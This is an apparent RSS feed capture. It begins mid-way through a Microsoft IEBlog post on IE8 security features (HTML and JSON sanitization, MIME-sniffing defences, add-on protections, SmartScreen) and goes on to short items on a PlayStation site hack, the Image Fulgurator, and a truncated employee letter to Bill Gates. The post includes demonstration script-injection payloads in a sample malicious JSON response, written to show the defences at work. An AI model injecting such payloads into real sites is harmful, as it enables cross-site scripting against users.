&lt;p&gt;To help developers build more secure mashups, for Internet Explorer 8, we’ve introduced support for the HTML5 &lt;a href="http://msdn.microsoft.com/en-us/library/cc511311.aspx"&gt;cross-document messaging&lt;/a&gt; feature that enables IFRAMEs to communicate more securely while maintaining DOM isolation. We’ve also introduced the &lt;a href="http://msdn.microsoft.com/en-us/library/cc288060(VS.85).aspx"&gt;XDomainRequest object&lt;/a&gt; to permit secure network retrieval of “public” data across domains.&lt;/p&gt;
&lt;p&gt;While Cross-Document-Messaging and XDomainRequest both help to secure mashups, a critical threat remains. Using either object, the string data retrieved from the third-party frame or server could contain script; if the caller blindly injects the string into its own DOM, a script injection attack will occur. For that reason, we’re happy to announce two new technologies that can be used in concert with these cross-domain communication mechanisms to mitigate script-injection attacks.&lt;/p&gt;
&lt;h3&gt;Safer Mashups: HTML Sanitization&lt;/h3&gt;
&lt;p&gt;IE8 exposes a new method on the window object named toStaticHTML. When a string of HTML is passed to this function, any potentially executable script constructs are removed before the string is returned. Internally, this function is based on the same technologies as the server-side &lt;a href="http://www.microsoft.com/downloads/details.aspx?FamilyId=EFB9C819-53FF-4F82-BFAF-E11625130C25&amp;amp;displaylang=en"&gt;Microsoft Anti-Cross Site Scripting Library&lt;/a&gt; mentioned previously.&lt;/p&gt;
&lt;p&gt;So, for example, you can use &lt;font face="Courier New"&gt;toStaticHTML &lt;/font&gt;to help ensure that HTML received from a &lt;font face="Courier New"&gt;postMessage&lt;/font&gt; call cannot execute script, but can take advantage of basic formatting:&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;&lt;font face="Courier New"&gt;document.attachEvent(&amp;#39;onmessage&amp;#39;,function(e) {  &lt;br&gt;  if (e.domain == &amp;#39;weather.example.com&amp;#39;) { &lt;br&gt;      spnWeather.innerHTML = window.toStaticHTML(e.data); &lt;br&gt;  } &lt;br&gt;}&lt;/font&gt;&lt;/p&gt;&lt;/blockquote&gt;
&lt;p&gt;Calling:&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;&lt;font face="Courier New"&gt;window.toStaticHTML(&amp;quot;This is some &amp;lt;b&amp;gt;HTML&amp;lt;/b&amp;gt; with embedded script following... &amp;lt;script&amp;gt;alert(&amp;#39;bang!&amp;#39;);&amp;lt;/script&amp;gt;!&amp;quot;);&lt;/font&gt;&lt;/p&gt;&lt;/blockquote&gt;
&lt;p&gt;will return:&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;&lt;font face="Courier New"&gt;This is some &amp;lt;b&amp;gt;HTML&amp;lt;/b&amp;gt; with embedded script following... !&lt;/font&gt;&lt;/p&gt;&lt;/blockquote&gt;
&lt;h3&gt;Safer Mashups: JSON Sanitization&lt;/h3&gt;
&lt;p&gt;JavaScript Object Notation (&lt;a href="http://www.json.org/"&gt;JSON&lt;/a&gt;) is a lightweight string-serialization of a JavaScript object that is often used to pass data between components of a mashup. Unfortunately, many mashups use JSON insecurely, relying on the JavaScript &lt;a href="http://msdn.microsoft.com/en-us/library/12k71sw7(VS.85).aspx"&gt;eval&lt;/a&gt; method to “revive” JSON strings back into JavaScript objects, potentially executing script functions in the process. Security-conscious developers instead use a &lt;a href="http://www.json.org/js.html"&gt;JSON-parser&lt;/a&gt; to ensure that the JSON object does not contain executable script, but there’s a performance penalty for this.&lt;/p&gt;
&lt;p&gt;Internet Explorer 8 implements the ECMAScript 3.1 proposal for native JSON-handling functions (which uses Douglas Crockford’s &lt;a href="http://www.json.org/json2.js"&gt;json2.js&lt;/a&gt; API). The JSON.stringify method accepts a script object and returns a JSON string, while the JSON.parse method accepts a string and safely revives it into a JavaScript object. The new native JSON methods are based on the same code used by the script engine itself, and thus have significantly improved performance over non-native implementations. If the resulting object contains strings bound for injection into the DOM, the previously described toStaticHTML function can be used to prevent script injection.&lt;/p&gt;
&lt;p&gt;The following example uses both JSON and HTML sanitization to prevent script injection:&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;&lt;font face="Courier New"&gt;&amp;lt;html&amp;gt; &lt;br&gt;&amp;lt;head&amp;gt;&amp;lt;title&amp;gt;XDR+JSON Test Page&amp;lt;/title&amp;gt; &lt;br&gt;&amp;lt;script&amp;gt; &lt;br&gt;if (window.XDomainRequest){ &lt;br&gt;      var xdr1 = new XDomainRequest(); &lt;br&gt;      xdr1.onload = function(){ &lt;br&gt;           var objWeather = &lt;b&gt;JSON.parse&lt;/b&gt;(xdr1.responseText); &lt;br&gt;           var oSpan = window.document.getElementById(&amp;quot;spnWeather&amp;quot;); &lt;br&gt;           oSpan.innerHTML = &lt;b&gt;window.toStaticHTML&lt;/b&gt;(&amp;quot;Tonight it will be &amp;lt;b&amp;gt;&amp;quot; &lt;br&gt;                             + objWeather.Weather.Forecast.Tonight + &amp;quot;&amp;lt;/b&amp;gt; in &amp;lt;u&amp;gt;&amp;quot;  &lt;br&gt;                             + objWeather.Weather.City+ &amp;quot;&amp;lt;/u&amp;gt;.&amp;quot;); &lt;br&gt;      }; &lt;br&gt;      xdr1.open(&amp;quot;POST&amp;quot;, &amp;quot;http://evil.weather.example.com/getweather.aspx&amp;quot;); &lt;br&gt;      xdr1.send(&amp;quot;98052&amp;quot;); &lt;br&gt;} &lt;br&gt;&amp;lt;/script&amp;gt;&amp;lt;/head&amp;gt; &lt;br&gt;&amp;lt;body&amp;gt;&amp;lt;span id=&amp;quot;spnWeather&amp;quot;&amp;gt;&amp;lt;/span&amp;gt;&amp;lt;/body&amp;gt; &lt;br&gt;&amp;lt;/html&amp;gt;&lt;/font&gt;&lt;/p&gt;&lt;/blockquote&gt;
&lt;p&gt;…even if the weather service returns a malicious response:&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;&lt;font face="Courier New"&gt;HTTP/1.1 200 OK &lt;br&gt;Content-Type: application/json &lt;br&gt;XDomainRequestAllowed: 1&lt;/font&gt;&lt;/p&gt;&lt;/blockquote&gt;
&lt;blockquote&gt;
&lt;p&gt;&lt;font face="Courier New"&gt;{"Weather": { &lt;br&gt;  &lt;/font&gt;&lt;font face="Courier New"&gt;"City": "Seattle", &lt;br&gt;  &lt;/font&gt;&lt;font face="Courier New"&gt;"Zip": 98052, &lt;br&gt;  &lt;/font&gt;&lt;font face="Courier New"&gt;"Forecast": { &lt;br&gt;    &lt;/font&gt;&lt;font face="Courier New"&gt;&amp;quot;Today&amp;quot;: &amp;quot;Sunny&amp;quot;,  &lt;br&gt;    &amp;quot;Tonight&amp;quot;: &amp;quot;&lt;b&gt;&amp;lt;script defer&amp;gt;alert(&amp;#39;bang!&amp;#39;)&amp;lt;/script&amp;gt;&lt;/b&gt;Dark", &lt;br&gt;    &lt;/font&gt;&lt;font face="Courier New"&gt;"Tomorrow": "Sunny" &lt;br&gt;  &lt;/font&gt;&lt;font face="Courier New"&gt;} &lt;br&gt;&lt;/font&gt;&lt;font face="Courier New"&gt;}}&lt;/font&gt;&lt;/p&gt;&lt;/blockquote&gt;
&lt;h3&gt;MIME-Handling Changes&lt;/h3&gt;
&lt;p&gt;Each type of file delivered from a web server has an associated &lt;a href="http://en.wikipedia.org/wiki/Mime_type"&gt;MIME type&lt;/a&gt; (also called a “content-type”) that describes the nature of the content (e.g. image, text, application, etc). For compatibility reasons, Internet Explorer has a &lt;a href="http://blogs.msdn.com/ie/archive/2005/02/01/364581.aspx"&gt;MIME-sniffing&lt;/a&gt; feature that will attempt to determine the content-type for each downloaded resource. In some cases, Internet Explorer reports a MIME type different than the type specified by the web server. For instance, if Internet Explorer finds HTML content in a file delivered with the HTTP response header Content-Type: text/plain, IE determines that the content should be rendered as HTML. Because of the number of legacy servers on the web (e.g. those that serve all files as text/plain) MIME-sniffing is an important compatibility feature.&lt;/p&gt;
&lt;p&gt;Unfortunately, MIME-sniffing also can lead to security problems for servers hosting untrusted content. Consider, for instance, the case of a picture-sharing web service which hosts pictures uploaded by anonymous users. An attacker could upload a specially crafted JPEG file that contained script content, and then send a link to the file to unsuspecting victims. When the victims visited the server, the malicious file would be downloaded, the script would be detected, and it would run in the context of the picture-sharing site. This script could then steal the victim’s cookies, generate a phony page, etc.&lt;/p&gt;
&lt;p&gt;To combat this problem, we’ve made a number of changes to Internet Explorer 8’s MIME-type determination code.&lt;/p&gt;
&lt;h3&gt;MIME-Handling: Restrict Upsniff&lt;/h3&gt;
&lt;p&gt;First, IE8 prevents “upsniff” of files served with image/* content types into HTML/Script. Even if a file contains script, if the server declares that it is an image, IE will not run the embedded script. This change mitigates the picture-sharing attack vector-- with no code changes on the part of the server. We were able to make this change by default with minimal compatibility impact because servers rarely knowingly send HTML or script with an image/* content type.&lt;/p&gt;
&lt;h3&gt;MIME-Handling: Sniffing Opt-Out&lt;/h3&gt;
&lt;p&gt;Next, we’ve provided web-applications with the ability to opt-out of MIME-sniffing. Sending the new authoritative=true attribute on the Content-Type HTTP response header prevents Internet Explorer from MIME-sniffing a response away from the declared content-type.&lt;/p&gt;
&lt;p&gt;For example, consider the following HTTP-response:&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;&lt;font face="Courier New"&gt;HTTP/1.1 200 OK &lt;br&gt;Content-Length: 108 &lt;br&gt;Date: Thu, 26 Jun 2008 22:06:28 GMT &lt;br&gt;Content-Type: text/plain; &lt;b&gt;&lt;font color="#ff0000"&gt;authoritative=true;&lt;/font&gt;&lt;/b&gt;&lt;/font&gt;&lt;/p&gt;
&lt;p&gt;&lt;font color="#008080" face="Courier New"&gt;&amp;lt;html&amp;gt; &lt;br&gt;&amp;lt;body bgcolor=&amp;quot;#AA0000&amp;quot;&amp;gt; &lt;br&gt;This page renders as HTML source code (text) in IE8. &lt;br&gt;&amp;lt;/body&amp;gt; &lt;br&gt;&amp;lt;/html&amp;gt;&lt;/font&gt;&lt;/p&gt;&lt;/blockquote&gt;
&lt;p&gt;In IE7, the text is interpreted as HTML:&lt;/p&gt;
&lt;p&gt;&lt;img alt="IE7 text interpreted as HTML" src="http://ieblog.members.winisp.net/images/IE7.HTML.png"&gt;&lt;/p&gt;
&lt;p&gt;In IE8, the page is rendered in plaintext:&lt;/p&gt;
&lt;p&gt;&lt;img alt="IE8 text rendered as plain text" src="http://ieblog.members.winisp.net/images/IE8.PlainText.png"&gt;&lt;/p&gt;
&lt;p&gt;Sites hosting untrusted content can use the authoritative attribute to ensure that text/plain files are not sniffed to anything else.&lt;/p&gt;
&lt;h3&gt;MIME-Handling: Force Save&lt;/h3&gt;
&lt;p&gt;Lastly, for web applications that need to serve untrusted HTML files, we have introduced a mechanism to help prevent the untrusted content from compromising your site’s security. When the new X-Download-Options header is present with the value noopen, the user is prevented from opening a file download directly; instead, they must first save the file locally. When the locally saved file is later opened, it no longer executes in the security context of your site, helping to prevent script injection.&lt;/p&gt;
&lt;p&gt;&lt;font face="Courier New"&gt;HTTP/1.1 200 OK &lt;br&gt;Content-Length: 238 &lt;br&gt;Content-Type: text/html &lt;br&gt;&lt;b&gt;&lt;font color="#ff0000"&gt;X-Download-Options: noopen&lt;/font&gt;&lt;/b&gt;&lt;/font&gt;&lt;font face="Courier New"&gt;&lt;font color="#ff0000"&gt;&lt;b&gt; &lt;br&gt;&lt;/b&gt;&lt;b&gt;Content-Disposition: attachment; filename=untrustedfile.html&lt;/b&gt;&lt;/font&gt;&lt;/font&gt;&lt;b&gt;&lt;font face="Courier New"&gt; &lt;br&gt;&lt;/font&gt;&lt;/b&gt;&lt;/p&gt;
&lt;p&gt;&lt;img alt="Save File Dialog" src="http://ieblog.members.winisp.net/images/Savefile.png"&gt;&lt;/p&gt;
&lt;p&gt;Taken together, these new Web Application Defenses enable the construction of much more secure web applications.&lt;/p&gt;
&lt;h2&gt;Local Browser Defenses&lt;/h2&gt;
&lt;p&gt;While Web Application attacks are becoming more common, attackers are always interested in compromising ordinary users’ local computers. In order to allow the browser to effectively enforce security policy to protect web applications, personal information, and local resources, attacks against the browser must be prevented. Internet Explorer 7 made major investments in this space, including &lt;a href="http://blogs.msdn.com/ie/archive/2006/02/09/528963.aspx"&gt;Protected Mode&lt;/a&gt;, &lt;a href="http://blogs.msdn.com/ie/archive/2006/10/18/ssl-tls-amp-a-little-activex-how-ie7-strikes-a-balance-between-security-and-compatibility.aspx"&gt;ActiveX Opt-in&lt;/a&gt;, and &lt;a href="http://blogs.msdn.com/ie/archive/2005/12/07/501075.aspx"&gt;Zone Lockdowns&lt;/a&gt;. In response to the hardening of the browser itself, attackers are increasingly focusing on compromising vulnerable browser add-ons.&lt;/p&gt;
&lt;p&gt;For Internet Explorer 8, we’ve made a number of investments to improve add-on security, reduce attack surface, and improve developer and user experience.&lt;/p&gt;
&lt;h3&gt;Add-on Security&lt;/h3&gt;
&lt;p&gt;We kicked off this security blog series with &lt;a href="http://blogs.msdn.com/ie/archive/2008/04/08/ie8-security-part-I_3A00_-dep-nx-memory-protection.aspx"&gt;discussion of DEP/NX Memory Protection&lt;/a&gt;, enabled by default for IE8 when running on Windows Server 2008, Windows Vista SP1 and Windows XP SP3. DEP/NX helps to foil attacks by preventing code from running in memory that is marked non-executable. DEP/NX, combined with other technologies like Address Space Layout Randomization (&lt;a href="http://blogs.msdn.com/michael_howard/archive/2006/05/26/address-space-layout-randomization-in-windows-vista.aspx"&gt;ASLR&lt;/a&gt;), make it harder for attackers to exploit certain types of memory-related vulnerabilities like buffer overruns. Best of all, the protection applies to both Internet Explorer&lt;i&gt; and &lt;/i&gt;the add-ons it loads. You can read more about this defense in the original blog post: &lt;a href="http://blogs.msdn.com/ie/archive/2008/04/08/ie8-security-part-I_3A00_-dep-nx-memory-protection.aspx"&gt;IE8 Security Part I: DEP/NX Memory Protection&lt;/a&gt;.&lt;/p&gt;
&lt;p&gt;In a &lt;a href="http://blogs.msdn.com/ie/archive/2008/05/07/ie8-security-part-ii-activex-improvements.aspx"&gt;follow-up post&lt;/a&gt;, Matt Crowley described the ActiveX improvements in IE8 and summarized the existing ActiveX-related security features carried over from earlier browser versions. The key improvement we made for IE8 is “Per-Site ActiveX,” a defense mechanism to help prevent malicious repurposing of controls. IE8 also supports &lt;a href="http://code.msdn.microsoft.com/ie8whitepapers/Release/ProjectReleases.aspx?ReleaseId=562"&gt;non-Administrator installation&lt;/a&gt; of ActiveX controls, enabling domain administrators to configure most users without administrative permissions. You can get the full details about these improvements by reading: &lt;a href="http://blogs.msdn.com/ie/archive/2008/05/07/ie8-security-part-ii-activex-improvements.aspx"&gt;IE8 Security Part II: ActiveX Improvements&lt;/a&gt;. If you develop ActiveX controls, you can help protect users by following the &lt;a href="http://msdn.microsoft.com/en-us/library/bb250471.aspx"&gt;Best Practices for ActiveX controls&lt;/a&gt; . &lt;/p&gt;
&lt;h3&gt;Protected Mode&lt;/h3&gt;
&lt;p&gt;Introduced in IE7 on Windows Vista, Protected Mode helps reduce the severity of threats to both Internet Explorer and extensions running in Internet Explorer by helping to prevent silent installation of malicious code even in the face of software vulnerabilities. For Internet Explorer 8, we’ve made a number of API improvements to Protected Mode to make it easier for add-on developers to control and interact with Protected Mode browser instances. You can read about these improvements in the &lt;a href="http://code.msdn.microsoft.com/ie8whitepapers/Release/ProjectReleases.aspx?ReleaseId=577"&gt;Improved Protected Mode API Whitepaper&lt;/a&gt;.&lt;/p&gt;
&lt;p&gt;For improved performance and application compatibility, by default IE8 disables Protected Mode in the Intranet Zone. Protected Mode was originally enabled in the Intranet Zone for user-experience reasons: when entering or leaving Protected Mode, Internet Explorer 7 was forced to create a new process and hence a new window.&lt;/p&gt;
&lt;p&gt;&lt;img alt="IE7 new window prompt" src="http://ieblog.members.winisp.net/images/NewWindow.png"&gt;&lt;/p&gt;
&lt;p&gt;Internet Explorer 8’s &lt;a href="http://blogs.msdn.com/ie/archive/2008/03/11/ie8-and-loosely-coupled-ie-lcie.aspx"&gt;Loosely Coupled&lt;/a&gt; architecture enables us to host both Protected Mode and non-Protected Mode tabs within the same browser window, eliminating this user-experience annoyance. Of course, IE8 users and domain administrators have the option to enable Protected Mode for Intranet Zone if desired.&lt;/p&gt;
&lt;h3&gt;Application Protocol Prompt&lt;/h3&gt;
&lt;p&gt;Application Protocol handlers enable third-party applications (such as streaming media players and internet telephony applications) to directly launch from within the browser or other programs in Windows. Unfortunately, while this functionality is quite powerful, it presents a significant amount of attack surface, because some applications registered as protocol handlers may contain vulnerabilities that could be triggered from untrusted content from the Internet.&lt;/p&gt;
&lt;p&gt;To help ensure that the user remains in control of their browsing experience, Internet Explorer 8 will now prompt before launching application protocols.&lt;/p&gt;
&lt;p&gt;&lt;img alt="IE8 prompt prior to launching application protocols" src="http://ieblog.members.winisp.net/images/IE8Prompt1.png"&gt;&lt;/p&gt;
&lt;p&gt;To provide defense-in-depth, Application Protocol developers should ensure that they follow the &lt;a href="http://msdn.microsoft.com/en-us/library/aa767914.aspx"&gt;Best Practices described on MSDN&lt;/a&gt;.&lt;/p&gt;
&lt;h3&gt;File Upload Control&lt;/h3&gt;
&lt;p&gt;Historically, the HTML File Upload Control (&amp;lt;input type=file&amp;gt;) has been the source of a significant number of information disclosure vulnerabilities. To resolve these issues, two changes were made to the behavior of the control.&lt;/p&gt;
&lt;p&gt;To block attacks that rely on “stealing” keystrokes to surreptitiously trick the user into typing a local file path into the control, the File Path edit box is now read-only. The user must explicitly select a file for upload using the File Browse dialog.&lt;/p&gt;
&lt;p&gt;&lt;img alt="IE8 read-only File Path box" src="http://ieblog.members.winisp.net/images/filebrowsedialog.png"&gt;&lt;/p&gt;
&lt;p&gt;Additionally, the “Include local directory path when uploading files” URLAction has been set to "Disable" for the Internet Zone. This change prevents leakage of potentially sensitive local file-system information to the Internet. For instance, rather than submitting the full path C:\users\ericlaw\documents\secret\image.png, Internet Explorer 8 will now submit only the filename image.png.&lt;/p&gt;
&lt;h2&gt;Social Engineering Defenses&lt;/h2&gt;
&lt;p&gt;As browser defenses have been improved over the last few years, web criminals are increasingly relying on &lt;a href="http://en.wikipedia.org/wiki/Social_engineering_%28security%29"&gt;social engineering&lt;/a&gt; attacks to victimize users. Rather than attacking the ever-stronger castle walls, attackers increasingly visit the front gate and simply request that the user trust them.&lt;/p&gt;
&lt;p&gt;For Internet Explorer 8, we’ve invested in features that help the user make safe trust decisions based on clearly-presented information gathered from the site and trustworthy authorities. &lt;/p&gt;
&lt;h3&gt;Address Bar Improvements&lt;/h3&gt;
&lt;p&gt;&lt;a href="http://blogs.msdn.com/ie/archive/2008/03/11/address-bar-improvements-in-internet-explorer-8-beta-1.aspx"&gt;Domain Highlighting&lt;/a&gt; is a new feature introduced in IE8 Beta 1 to help users more easily interpret web addresses (URLs). Because the domain name is the most security-relevant identifier in a URL, it is shown in black text, while site-controlled URL text like the query string and path are shown in grey text.&lt;/p&gt;
&lt;p&gt;When coupled with other technologies like &lt;a href="http://blogs.msdn.com/ie/archive/2006/11/07/improving-ssl-extended-validation-ev-ssl-certificates-coming-in-january.aspx"&gt;Extended Validation SSL certificates&lt;/a&gt;, Internet Explorer 8’s improved address bar helps users more easily ensure that they provide personal information only to sites they trust. &lt;/p&gt;
&lt;p&gt;&lt;img alt="IE8 SSL Address Bar with Domain Highlighting" src="http://ieblog.members.winisp.net/images/domainhighlight1.png"&gt;&lt;/p&gt;
&lt;p&gt;&lt;img alt="IE8 SmartScreen Filter Address Bar" src="http://ieblog.members.winisp.net/images/SScreen.png"&gt;&lt;/p&gt;
&lt;h3&gt;SmartScreen® Filter&lt;/h3&gt;
&lt;p&gt;Internet Explorer 7 introduced the &lt;a href="http://blogs.msdn.com/ie/archive/2005/09/09/463204.aspx"&gt;Phishing Filter&lt;/a&gt;, a dynamic security feature designed to warn users when they attempt to visit known-phishing sites. For Internet Explorer 8, we’ve built upon the success of the Phishing Filter feature (which blocks millions of phishing attacks per week) and developed the SmartScreen® Filter. The SmartScreen Filter goes beyond anti-phishing to help block sites that are known to distribute malware, malicious software which attempts to attack your computer or steal your personal information. SmartScreen works in concert with other technologies like &lt;a href="http://www.microsoft.com/windows/products/winfamily/defender/default.mspx"&gt;Windows Defender&lt;/a&gt; and &lt;a href="http://onecare.live.com/"&gt;Windows Live OneCare&lt;/a&gt; to provide comprehensive protection against malicious software.&lt;/p&gt;
&lt;p&gt;You can read more about the new SmartScreen Filter in my earlier post: &lt;a href="http://blogs.msdn.com/ie/archive/2008/07/02/ie8-security-part-iii-smartscreen-filter.aspx"&gt;IE8 Security Part III - The SmartScreen Filter&lt;/a&gt;.&lt;/p&gt;
&lt;h3&gt;Summary&lt;/h3&gt;
&lt;p&gt;Security is a core characteristic of trustworthy browsing, and Internet Explorer 8 includes major improvements to address the evolving web security landscape. While the bad guys are unlikely to ever just “throw in the towel,” the IE team is working tirelessly to help protect users and provide new ways to enhance web application security.&lt;/p&gt;
&lt;p&gt;Please stay tuned to the IEBlog for more information on the work we’re doing in Privacy, Reliability, and Business Practices to build a trustworthy browser.&lt;/p&gt;
&lt;p&gt;Onward to Beta-2 in August!&lt;/p&gt;
&lt;p&gt;Eric Lawrence &lt;br&gt;Program Manager &lt;br&gt;Internet Explorer Security&lt;/p&gt;&lt;img src="http://blogs.msdn.com/aggbug.aspx?PostID=8679480" width="1" height="1"&gt;&lt;img src="http://feeds.feedburner.com/~r/FM-Newspaper/~4/325563879" height="1" width="1"/&gt;</summary><author><name>ieblog</name></author><source gr:stream-id="feed/http://blogs.msdn.com/ie/rss.xml"><id>tag:google.com,2005:reader/feed/http://blogs.msdn.com/ie/rss.xml</id><title type="html">IEBlog</title><link rel="alternate" href="http://blogs.msdn.com/ie/default.aspx" type="text/html" /></source><feedburner:origLink>http://blogs.msdn.com/ie/archive/2008/07/02/ie8-security-part-v-comprehensive-protection.aspx</feedburner:origLink></entry><entry gr:crawl-timestamp-msec="1215041739966"><id gr:original-id="http://www.ps3fanboy.com/2008/07/02/official-playstation-site-hacked-says-it-company-sophos/">tag:google.com,2005:reader/item/46ad03ed7d84bc07</id><category term="hack" /><category term="playstation" /><category term="sophos" /><category term="sql-injection" /><title type="html">Official PlayStation site hacked, says IT company Sophos</title><published>2008-07-02T20:00:00Z</published><updated>2008-07-02T20:00:00Z</updated><link rel="alternate" href="http://feeds.feedburner.com/~r/FM-Newspaper/~3/325314094/" type="text/html" /><summary xml:base="http://www.ps3fanboy.com/" type="html">&lt;p&gt;Filed under: &lt;a href="http://www.ps3fanboy.com/category/news/" rel="tag"&gt;News&lt;/a&gt;&lt;/p&gt;&lt;div align="center"&gt;&lt;a href="http://www.sophos.com/security/blog/2008/07/1540.html"&gt;&lt;img hspace="4" border="1" vspace="4" src="http://www.blogsmithmedia.com/www.ps3fanboy.com/media/2008/07/pssitehackedq.jpg" alt=""&gt;&lt;/a&gt;&lt;br&gt;&lt;/div&gt;
The official US websites for &lt;em&gt;SingStar Pop&lt;/em&gt; and &lt;em&gt;God of War&lt;/em&gt; have been hacked, according to IT company &lt;a href="http://www.sophos.com/security/blog/2008/07/1540.html"&gt;Sophos&lt;/a&gt;. When visitors clicked onto the PlayStation site, they may have been greeted by a pop-up ad that claims viruses have been found on their computer. The scare tactic tries to trick people into buying anti-spyware software, and requires a visitor's credit card number.&lt;br&gt;&lt;br&gt;According to Sophos, the hack was implemented through a "SQL injection attack" and according to the company, "the website is still infected." However, personal visits to the PlayStation sites on our browser (Firefox 3) have not turned up anything suspicious.&lt;br&gt;&lt;br&gt;[Via &lt;a href="http://www.next-gen.biz/index.php?option=com_content&amp;amp;task=view&amp;amp;id=11189&amp;amp;Itemid=2"&gt;Next-Gen&lt;/a&gt;]&lt;p style="clear:both;padding:8px 0 0 0;height:2px;font-size:1px;border:0;margin:0;padding:0"&gt; &lt;/p&gt;&lt;p&gt;&lt;a href="http://www.sophos.com/security/blog/2008/07/1540.html"&gt;Read&lt;/a&gt; | &lt;a href="http://www.ps3fanboy.com/2008/07/02/official-playstation-site-hacked-says-it-company-sophos/" rel="bookmark" title="Permanent link to this entry"&gt;Permalink&lt;/a&gt; | &lt;a href="http://www.ps3fanboy.com/forward/1243715/" title="Send this entry to a friend via email"&gt;Email this&lt;/a&gt; | &lt;a href="http://www.technorati.com/cosmos/search.html?rank=&amp;amp;fc=1&amp;amp;url=http://www.ps3fanboy.com/2008/07/02/official-playstation-site-hacked-says-it-company-sophos/" title="Linking Blogs"&gt;Linking Blogs&lt;/a&gt; | &lt;a href="http://www.ps3fanboy.com/2008/07/02/official-playstation-site-hacked-says-it-company-sophos/#comments" title="View reader comments on this entry"&gt;Comments&lt;/a&gt;&lt;/p&gt;&lt;img src="http://feeds.feedburner.com/~r/FM-Newspaper/~4/325314094" height="1" width="1"/&gt;</summary><author><name>Andrew Yoon</name></author><source gr:stream-id="feed/http://www.ps3fanboy.com/rss.xml"><id>tag:google.com,2005:reader/feed/http://www.ps3fanboy.com/rss.xml</id><title type="html">PS3 Fanboy</title><link rel="alternate" href="http://www.ps3fanboy.com" type="text/html" /></source><feedburner:origLink>http://www.ps3fanboy.com/2008/07/02/official-playstation-site-hacked-says-it-company-sophos/</feedburner:origLink></entry><entry gr:crawl-timestamp-msec="1214915826800"><id gr:original-id="http://www.0x000000.com/?i=603">tag:google.com,2005:reader/item/82990db4febcd5fb</id><title type="html">The Image Fulgurator.</title><published>2008-07-01T12:37:06Z</published><updated>2008-07-01T12:37:06Z</updated><link rel="alternate" href="http://feeds.feedburner.com/~r/FM-Newspaper/~3/324024748/" type="text/html" /><summary xml:base="http://www.0x000000.com/" type="html">&lt;img src="http://www.0x000000.com/images/fulgurator.gif"&gt;&lt;br&gt;
&lt;br&gt;
Julius von Bismarck invented a very interesting hacking technique to manipulate images taken by people. His Image Fulgurator can project text or other images on an object that is being photographed, but only becomes visible on the photograph itself. People&amp;#39;s great trust in their photographic reproductions of reality was what motivated Julius to develop the Image Fulgurator. &lt;br&gt;
&lt;br&gt;
A camera can be used as a personal memory tool, since people do not doubt the veracity of their own photographs. Hence, photos can reproduce the reality of an individual environment or public space. At sacred or popular locations, or those having a political connotation, an intervention with the Fulgurator can be particularly effective. Especially objects with a special aura or great symbolic power are good targets for this kind of manipulation. In other words, with the Fulgurator it is possible to have a lasting effect on those kinds of individual moments and events that become accessible to the masses only because they are preserved photographically. In this context the Fulgurator represents a manipulation of visual reality and so targets the very fabric of media memory.&lt;br&gt;
&lt;br&gt;
Technically, the Image Fulgurator works like a classical camera, though in reverse. In a normal camera, the light reflected from an object is projected via the lens onto the film. In the Image Fulgurator, this process is exactly the opposite: instead of an unexposed film, an exposed and developed roll of slide film is loaded into the camera and behind it, a flash. When the flash goes off, the image is projected from the film via the lens onto the object. Due to the similarity of the two processes, the Fulgurator looks like a conventional reflex camera. As soon as the built-in sensor registers a flash somewhere nearby, the flash projection is triggered. Hence the projection can be synchronized to the exact moment of exposure of all other cameras in its immediate vicinity. Via a screen (ground glass), it is possible to focus the projection and to position it on the targeted object.&lt;br&gt;
&lt;br&gt;
This video shows an Intervention at the Checkpoint Charlie in Berlin. (former border of east and west Germany) The target of the manipulation was the famous &amp;quot;YOU ARE ENTERING THE AMERICAN SECTOR&amp;quot; - sign. The manipulation created a link from the former East / West border to the US / Mexican border in order to reimagine the dramatic situation at worldwide borders today. The message was addressed to the tourists on location, that can travel easily over every border without risking their life.&lt;br&gt;
&lt;br&gt;
&lt;pre&gt;&lt;br&gt;
&lt;embed src="http://www.youtube.com/v/EAX_3Bgel7M&amp;amp;hl=en" width="700" height="344" allowScriptAccess="never"&gt;&lt;/embed&gt;&lt;br&gt;
&lt;/pre&gt;&lt;br&gt;
&lt;br&gt;
Technical details: &lt;a href="http://www.juliusvonbismarck.com/fulgurator/doku.html"&gt;http://www.juliusvonbismarck.com/fulgurator/doku.html&lt;/a&gt;&lt;img src="http://feeds.feedburner.com/~r/FM-Newspaper/~4/324024748" height="1" width="1"/&gt;</summary><author gr:unknown-author="true"><name>(author unknown)</name></author><source gr:stream-id="feed/http://www.0x000000.com/rss.php"><id>tag:google.com,2005:reader/feed/http://www.0x000000.com/rss.php</id><title type="html">0x000000 Security</title><link rel="alternate" href="http://www.0x000000.com" type="text/html" /></source><feedburner:origLink>http://www.0x000000.com/?i=603</feedburner:origLink></entry><entry gr:crawl-timestamp-msec="1214900257641"><id gr:original-id="91d46819-8472-40ad-a661-2c78acb4018c:8672058">tag:google.com,2005:reader/item/a71fe2e19d802c4e</id><category term="ramblings" scheme="http://blogs.msdn.com/ricom/archive/tags/ramblings/default.aspx" /><title type="html">My Last Words to Bill</title><published>2008-06-30T17:57:10Z</published><updated>2008-06-30T17:57:10Z</updated><link rel="alternate" href="http://feeds.feedburner.com/~r/FM-Newspaper/~3/323888992/my-last-words-to-bill.aspx" type="text/html" /><summary xml:base="http://blogs.msdn.com/ricom/default.aspx" type="html">&lt;p&gt;We had a little internal yearbook thing you could sign for Bill last week.  This is what I wrote:&lt;/p&gt;  &lt;p&gt; &lt;/p&gt;  &lt;p&gt;Dear Bill, &lt;/p&gt;  &lt;p&gt;In not too many weeks now I’ll be celebrating my 20th anniversary at Microsoft.  I think I owe you some thanks for these 20 years, and some from before. &lt;/p&gt;  &lt;p&gt;In fall of 1979 I got my first real access to a computer. It was a Commodore PET and it was running Microsoft BASIC.  For me, and many others like me, that exposure caused a radical change in our life trajectories.  &lt;/p&gt;  &lt;p&gt;By Christmas I was learning 6502 assembler and those MOS tech handbooks were not exactly rich in examples.  If you wanted to see *real* code you had to disassemble/understand the ROMs.  So I guess what I’m saying is that, at the tender age of 15, I was ripping off your intellectual property.  Sorry about that. &lt;/p&gt;  &lt;p&gt;I did manage to get pretty good at 6502 assembler and I like to think some of that code was yours, so I tell my friends I got my first low level programming lessons from Bill Gates.  Of course you didn’t know it, but it was nonetheless successful long-distance education through the magic of software. &lt;/p&gt;  &lt;p&gt;Eight years, one diploma, and one degree later, I landed in Redmond.  That was 1988.  Since then, I’ve had many chances to 